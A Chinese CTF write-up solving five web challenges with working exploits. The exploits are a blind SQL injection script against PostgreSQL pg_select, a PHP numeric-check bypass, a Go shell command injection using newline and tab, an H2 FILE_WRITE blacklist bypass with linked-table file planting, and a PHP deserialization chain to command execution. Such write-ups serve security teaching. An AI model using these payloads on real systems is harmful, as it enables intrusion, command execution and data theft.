奶龙杯ctf2026复现
发布时间 : 2026-08-29 21:52
字数:1.7k
预计阅读 9 分钟
阅读 :
奶龙杯ctf2026复现 WEB ezphp 首页/source.php泄露了源码
1 2 3 4 5 6 $filters = [ 'share_code' => $code, 'is_public' => true , ] $rows = pg_select(database(), 'documents' , $filters, PGSQL_DML_EXEC)
查询逻辑类似
1 WHERE share_code = '<code>' AND is_public = TRUE
api/lookup.php接口只返回:
1 2 { "found" : true } { "found" : false }
注释里给了表的结构:
1 documents (share_code, title, body, is_public)
漏洞原理:受影响版本的 pg_select() 会通过 PQescapeStringConn() 转义字符串,再将结果放入 PostgreSQL 的转义字符串常量 E'...' 中。在默认配置 standard_conforming_strings=on 时,PQescapeStringConn() 不会转义反斜杠,但 E'...' 会把反斜杠视为转义字符
输入 \' 可以利用反斜杠和单引号破坏字符串边界,再用 -- 注释掉后面的 is_public=true:
1 \' OR (id =4 AND length (body)=43 )
过滤器只拦截了 ;、控制字符、select、``union 等关键词,这个 payload 可以正常通过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requests URL = "http://challenge.cyclens.tech:32002/api/lookup.php" vault = ( "share_code=CHR(86)||CHR(65)||CHR(85)||" "CHR(76)||CHR(84)" ) def probe(expr: str) -> bool: payload = "\\' OR (" + vault + " AND " + expr + ") --" r = requests.get (URL, params={"code" : payload}, timeout=10 ) return r.json().get ("found" ) is True length = Nonefor n in range (1 , 100 ): if probe(f "length(body)={n}" ): length = n break print ("body length:" , length) result = []for pos in range (1 , length + 1 ): lo , hi = 32 , 126 while lo < hi : mid = (lo + hi + 1 ) // 2 if probe(f "ascii(substr(body,{pos},1)) >= {mid}" ): lo = mid else : hi = mid - 1 result.append (chr(lo )) raw = "" .join (result)print ("raw body:" , raw) flag = raw[:-1 ] if raw.endswith("}}" ) else rawprint ("flag:" , flag)
LamentXU’s chal 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php ob_start(); highlight_file(__FILE__);$userId = $_GET ['userId' ] ?? '' ;$rawRole = $_GET ['role' ] ?? '' ;$roleText = trim($rawRole );function grantRole($userId , $roleId ) { if ($roleId === 1 ) { $flag = file_get_contents('/flag' ); echo $flag ; } }if (strlen($userId ) < 114 ) { http_response_code(400 ); exit ('user id is too short' ); }if ($roleText === '1' ) { http_response_code(403 ); exit ('admin role is forbidden' ); }if (preg_match('/[eE.]/' , $roleText )) { http_response_code(400 ); exit ('invalid role id' ); }if ($roleText [0 ] === '0' ) { http_response_code(400 ); exit ('leading zero is forbidden' ); }if (!is_numeric($roleText )) { http_response_code(400 ); exit ('invalid role id' ); }$roleId = intval($rawRole ); grantRole($userId , $roleId ); user id is too short
关键逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $rawRole = $_GET ['role' ] ?? '' ;$roleText = trim($rawRole );if ($roleText === '1' ) exit ('admin role is forbidden' );// 过滤大写字母小写字母和.if (preg_match('/[eE.]/' , $roleText )) exit ('invalid role id' );if ($roleText [0 ] === '0' ) exit ('leading zero is forbidden' );if (!is_numeric($roleText )) exit ('invalid role id' );$roleId = intval($rawRole );if ($roleId === 1 ) { echo file_get_contents('/flag' ); }
这里让role=+1
使用 role=+1 时,PHP 的 URL 解析会把 + 转为空格,因此必须传输编码后的 %2B1。
role=%2B1 在 PHP 中得到
1 2 3 rawRole = "+1" roleText = "+1" intval("+1" ) = 1
满足 intval($rawRole) === 1。
userId 只要求长度不少于 114,填充 114 个 A 即可。
1 ?userId=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&role=% 2B1
lets_goooooo 题目是一个 Go Web 服务,功能是:
1 2 exec.CommandContext (ctx, "/bin/sh" , "-c" , fmt.Sprintf ("ping -c 1 -W 1 %s" , host))
host 参数未经安全转义,直接拼接进 /bin/sh -c,因此存在命令注入。
黑名单代码:
1 2 3 if strings.ContainsAny (host, " ;|&$`(){}[]<>\\ \" " ) { }
过滤了空格
没有过滤换行符 \n
没有过滤制表符 \t
虽然普通空格会被拦截,但 Shell 可以使用 Tab 作为参数分隔符。
最终执行结果等于
1 2 ping -c 1 -W 1 127.0.0.1 printenv FLAG
服务端运行身份为 root,环境变量中保存了 flag。
payload:
1 ?host= 127.0 .0.1 %0 Aprintenv%09 FLAG
phantom的surprise 核心漏洞链:
1./api/v1/preview 会把输入拼接为 H2 SQL:
1 SELECT <your_expression>
2.黑名单禁止 FILE_WRITE,但只做字符串匹配。使用 Unicode 无点小写 ı 绕过:
H2 解析器仍会把它识别为 FILE_WRITE。
3.H2 函数参数顺序为:
因此可以写任意数据库文件:
1 FıLE_WRITE (X'...' , '/tmp/catalog-worker/xxx.mv.db' )
4.普通 CREATE FORCE TRIGGER 会被:
1 System .setProperty("h2.allowedClasses" , "java.lang.String" );
拦截,不能直接加载题目 Driver。
5.最终利用 H2 LINKED TABLE:
1 2 3 4 5 6 7 CREATE LINKED TABLE L( '', 'jdbc:h2 :file :/tmp/catalog-worker/linked-target 'sa', '', '(SELECT X(1 ) AS C FROM T) --' )
先准备两个 H2 数据库:
linked-target.mv.db
linked.remote.snapshot.mv.db
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import com.papertrail.catalog.compat.store.jdbc.JdbcConnection;import com.papertrail.catalog.compat.store.mvstore.MVStore;import java.nio.file.*;import java.util.Properties;public class GenerateLinkedDb { public static void main(String[] args) throws Exception { Path archivePath = Path .of (args[0 ]).toAbsolutePath(); Path targetPath = Path .of ("E:/tmp/catalog-worker/linked-target.mv.db").toAbsolutePath(); Files.createDirectories(targetPath.getParent()); Files.deleteIfExists(targetPath); String targetBase = targetPath.toString() .substring(0 , targetPath.toString().length() - ".mv.db".length()); JdbcConnection targetConn = new JdbcConnection( "jdbc:h2:file:" + targetBase, new Properties(), "sa", "", false ); targetConn.createStatement().execute ( "CREATE ALIAS X FOR \"java.lang.String.valueOf(int )\"" ); targetConn.createStatement().execute ("CREATE TABLE T(ID INT)"); targetConn.createStatement().execute ("INSERT INTO T VALUES(1)"); targetConn.close (); MVStore.compact(targetBase + ".mv.db", true , null ); Files.deleteIfExists(archivePath); String archiveBase = archivePath.toString() .substring(0 , archivePath.toString().length() - ".mv.db".length()); JdbcConnection archiveConn = new JdbcConnection( "jdbc:h2:file:" + archiveBase, new Properties(), "sa", "", false ); String target = "jdbc:h2:file:/tmp/catalog-worker/linked-target;DEFAULT_CONNECTION=TRUE"; String sql = "CREATE LINKED TABLE L('','" + target + "','sa','','(SELECT X(1) AS C FROM T) --')"; System .out .println(sql ); archiveConn.createStatement().execute (sql ); archiveConn.close (); System .out .println(Files.size(archivePath)); } }
远程上传以下脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 $base = 'http://challenge.cyclens.tech:30651' $targetFile = 'E:/tmp/catalog-worker/linked-target.mv.db' $archiveFile = 'E:/codex/CTF/ph@nt0m/generated/linked.remote.snapshot.mv.db' $fn = 'F' + [char ]0 x131 + 'LE_WRITE' function Upload-Db ($localFile , $remoteFile ) { $hex = [Convert ]::ToHexString( [IO.File ]::ReadAllBytes($localFile ) ) $expr = "$fn (X'$hex ','$remoteFile ')" Invoke-RestMethod ` -Method Post ` -Uri "$base /api/v1/preview" ` -ContentType 'text/plain' ` -Body $expr }Invoke-RestMethod "$base /api/v1/info" Upload-Db ` $targetFile ` '/tmp/catalog-worker/linked-target.mv.db' Upload-Db ` $archiveFile ` '/tmp/catalog-worker/catalog.snapshot.mv.db' Invoke-RestMethod ` -Method Post ` -Uri "$base /api/v1/workers/refresh" ` -ContentType 'text/plain' ` -Body '' Invoke-RestMethod "$base /api/v1/proof"
unserialize 附件是:
1 2 $obj = unserialize($_POST ['data' ]);unset ($obj );
CommandExecutor::__destruct() 最终执行:
对象顺序必须是:
1 2 3 4 5 6 SecurityValidator ↓ mode = "safe" Mutator ↓ ref 与 mode 共享引用 CommandExecutor ↓ enabled = true
反序列化时:
1 SecurityValidator ::__wakeup ()
先检查到 safe,通过。
把共享引用改成 hacked。
1 CommandExecutor ::__destruct ()
判断 mode 不再是 safe,执行命令。
关键引用:
1 2 Mutator ::$ref = R: 3 CommandExecutor ::$validator = R: 2
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php class SecurityValidator { private $mode ; private $data ; }class CommandExecutor { private $validator ; private $command ; private $enabled ; }class Mutator { public $ref ; }$cmd = $argv [1 ] ?? 'id' ;$m = new Mutator ();$v = new SecurityValidator ();$ce = new CommandExecutor ();$mode = 'safe' ;$bindV = Closure ::bind ( function (&$x ) { $this ->mode =& $x ; }, $v , 'SecurityValidator' );$bindV ($mode );$m ->ref =& $mode ;$bindCE = Closure ::bind ( function (&$x ) { $this ->validator =& $x ; }, $ce , 'CommandExecutor' );$bindCE ($v );$bindC = Closure ::bind ( function (&$x ) { $this ->command =& $x ; }, $ce , 'CommandExecutor' );$bindC ($cmd );$enabled = true ;$bindE = Closure ::bind ( function (&$x ) { $this ->enabled =& $x ; }, $ce , 'CommandExecutor' );$bindE ($enabled );echo serialize ([$v , $m , $ce ]);
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。